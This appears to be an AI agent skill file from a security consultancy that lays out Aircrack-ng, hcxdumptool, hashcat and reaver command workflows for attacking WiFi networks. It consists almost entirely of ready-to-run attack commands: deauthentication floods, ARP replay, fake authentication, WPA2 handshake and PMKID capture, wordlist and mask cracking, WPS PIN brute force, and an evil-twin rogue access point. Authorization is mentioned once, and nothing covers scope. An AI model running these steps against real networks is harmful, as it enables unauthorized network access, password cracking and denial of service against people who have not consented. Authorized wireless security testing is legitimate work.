| name | aircrack-ng |
| description | Operate the Aircrack-ng WiFi security suite for wireless network assessment. Use when performing WEP, WPA, or WPA2 cracking, capturing 4-way handshakes, executing PMKID attacks, injecting deauth frames, performing ARP replay attacks, or analyzing wireless traffic. Covers airmon-ng (monitor mode), airodump-ng (capture/scan), aireplay-ng (deauth/fake auth/ARP replay), aircrack-ng (cracking), airdecap-ng, packetforge-ng, besside-ng, WPS attacks with reaver, hashcat integration with -m 22000, and evil twin concepts for authorized wireless penetration testing engagements.
|
| metadata | {"author":"redhoundinfosec","version":"1.0","repo":"https://github.com/aircrack-ng/aircrack-ng"} |
aircrack-ng Agent Skill
When to Use This Skill
Use this skill when:
- The user needs to capture a WPA2 handshake or PMKID for offline cracking
- Performing a wireless network assessment (WiFi pentesting)
- Placing a wireless adapter into monitor mode and targeting specific APs
- The user asks about deauth attacks, ARP replay, fake authentication, or WPS attacks
- Integrating aircrack-ng captures with hashcat for GPU-accelerated cracking
- The user wants to decrypt captured WiFi traffic with airdecap-ng
What Aircrack-ng Does
Aircrack-ng is a comprehensive WiFi security auditing suite consisting of multiple tools that cover the full wireless attack lifecycle: monitor mode management (airmon-ng), passive/active capture and AP enumeration (airodump-ng), packet injection and attack execution (aireplay-ng), key cracking (aircrack-ng), traffic decryption (airdecap-ng), and automated tools (besside-ng). It operates at the raw packet level and requires a compatible wireless adapter with injection capability.
Installation
aircrack-ng --help
sudo apt update && sudo apt install aircrack-ng
brew install aircrack-ng
git clone https://github.com/aircrack-ng/aircrack-ng.git
cd aircrack-ng && autoreconf -i && ./configure && make && sudo make install
sudo airmon-ng
sudo aireplay-ng --test wlan0
Compatible Hardware
Injection-capable adapters (recommended):
- Alfa AWUS036ACH — AC1200, dual-band, excellent injection
- Alfa AWUS036NH — N150, 2.4GHz, classic pentest adapter
- Panda PAU09 — N600, dual-band, budget option
- Check chipset:
lsusb → look for Atheros (ath9k_htc), Ralink (rt2800usb), Realtek (rtl8812au)
lsusb
dmesg | grep -i "wlan\|usb\|wireless"
iw dev
Core Concepts
Monitor Mode
Monitor mode allows the adapter to capture all 802.11 frames regardless of destination — essential for passive capture and injection. Managed mode (normal) only captures frames addressed to the adapter.
4-Way Handshake (WPA/WPA2)
The WPA2 handshake occurs when a client connects to an AP. It contains enough information to verify candidate passphrases offline. The handshake is initiated by sending a deauth frame to force a reconnect. The PSK is never transmitted — only derived challenge-response material.
PMKID Attack
The PMKID (Pairwise Master Key Identifier) is transmitted in the first EAPOL frame from the AP. It can be captured without waiting for a client to connect — making it faster and more reliable than 4-way handshake capture. Formula: PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || Client_MAC)
CLI Reference — airmon-ng (Monitor Mode)
sudo airmon-ng
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo airmon-ng start wlan0 6
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager
CLI Reference — airodump-ng (Capture/Scan)
sudo airodump-ng wlan0mon
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
sudo airodump-ng --band a wlan0mon
sudo airodump-ng --band abg wlan0mon
sudo airodump-ng --essid "TargetNetwork" wlan0mon
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture --write-interval 1 wlan0mon
sudo airodump-ng --channel 1,6,11 wlan0mon
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_capture --output-format ivs wlan0mon
CLI Reference — aireplay-ng (Injection / Attacks)
sudo aireplay-ng --test wlan0mon
sudo aireplay-ng -9 -e "TargetSSID" -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
sudo aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
sudo aireplay-ng -1 0 -e "TargetSSID" -a AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon
sudo aireplay-ng -1 30 -e "TargetSSID" -a AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon
sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng -4 -b AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon
sudo aireplay-ng -5 -b AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 wlan0mon
sudo aireplay-ng -6 -D -b AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng -7 -D -b AA:BB:CC:DD:EE:FF wlan0mon
CLI Reference — aircrack-ng (Cracking)
sudo aircrack-ng capture-01.cap
sudo aircrack-ng -b AA:BB:CC:DD:EE:FF capture-01.cap
sudo aircrack-ng -w /opt/seclists/Passwords/Leaked-Databases/rockyou.txt \
-b AA:BB:CC:DD:EE:FF capture-01.cap
sudo aircrack-ng -w /opt/seclists/Passwords/Leaked-Databases/rockyou.txt,/tmp/custom.txt \
capture-01.cap
sudo aircrack-ng -e "TargetNetwork" \
-w rockyou.txt capture-01.cap
sudo aircrack-ng -w rockyou.txt -p 8 capture-01.cap
sudo aircrack-ng -z capture-01.cap
Common Workflows
WPA2 Handshake Capture → Crack
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/handshake wlan0mon &
sudo aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
aircrack-ng /tmp/handshake-01.cap
aircrack-ng -w /opt/seclists/Passwords/Leaked-Databases/rockyou.txt \
-b AA:BB:CC:DD:EE:FF /tmp/handshake-01.cap
PMKID Attack (No Client Needed)
sudo apt install hcxtools hcxdumptool
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo hcxdumptool -i wlan0mon \
--filterlist_ap=targets.txt --filtermode=2 \
-o pmkid_capture.pcapng \
--enable_status=1
hcxpcapngtool -o hashes.22000 pmkid_capture.pcapng
hcxpcapngtool --hccapx=hashes.hccapx pmkid_capture.pcapng
hashcat -m 22000 hashes.22000 /opt/seclists/Passwords/Leaked-Databases/rockyou.txt
hashcat -m 22000 hashes.22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule
WEP Cracking (Legacy Environments)
sudo airmon-ng start wlan0 6
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep_cap --output-format ivs wlan0mon &
sudo aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF wlan0mon
sudo aircrack-ng wep_cap-01.ivs
WPS Attack with Reaver
sudo apt install reaver wash
sudo wash -i wlan0mon
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv
Hashcat Integration
hcxpcapngtool -o capture.22000 /tmp/handshake-01.cap
cap2hccapx /tmp/handshake-01.cap capture.hccapx
hashcat -m 22000 capture.22000 rockyou.txt
hashcat -m 22000 capture.22000 rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule
hashcat -m 22000 capture.22000 -a 3 ?d?d?d?d?d?d?d?d
hashcat -m 2500 capture.hccapx rockyou.txt
Advanced Techniques
airdecap-ng — Decrypt Captured Traffic
airdecap-ng -w AABBCCDDEEFF capture-01.cap
airdecap-ng -p "MyWiFiPass" -e "NetworkName" capture-01.cap
packetforge-ng — Custom Packet Injection
packetforge-ng -0 -a AA:BB:CC:DD:EE:FF -h 00:11:22:33:44:55 \
-k 255.255.255.255 -l 255.255.255.255 \
-y keystream.xor -w arp_packet.cap
aireplay-ng -2 -r arp_packet.cap wlan0mon
besside-ng — Automated WEP/WPA Cracking
sudo besside-ng wlan0mon
sudo besside-ng -b AA:BB:CC:DD:EE:FF wlan0mon
Evil Twin Concept
sudo hostapd-mana rogue_ap.conf
sudo aireplay-ng -0 0 -a REAL_BSSID wlan0mon
Troubleshooting
Monitor mode fails:
sudo airmon-ng check
sudo airmon-ng check kill
sudo rfkill unblock all
Injection test fails (0%):
- Adapter does not support injection (check chipset)
- Use external USB adapter — internal adapters rarely support injection
aireplay-ng --test wlan0mon must show packets sent/received
No handshake captured:
- Wait longer — airodump-ng must show active client first
- Increase deauth count:
-0 10 or continuous -0 0
- Try multiple deauth bursts at intervals
- Some clients use Management Frame Protection (MFP/802.11w) — deauth won't work
Handshake captured but aircrack-ng says "0 handshakes":
pyrit -r capture-01.cap analyze
cowpatty -r capture-01.cap -c
Reaver stalls or disconnects:
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv --no-associate
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 3 -r 3:15
Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs.
20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.
redhound.us | GitHub | Book a consultation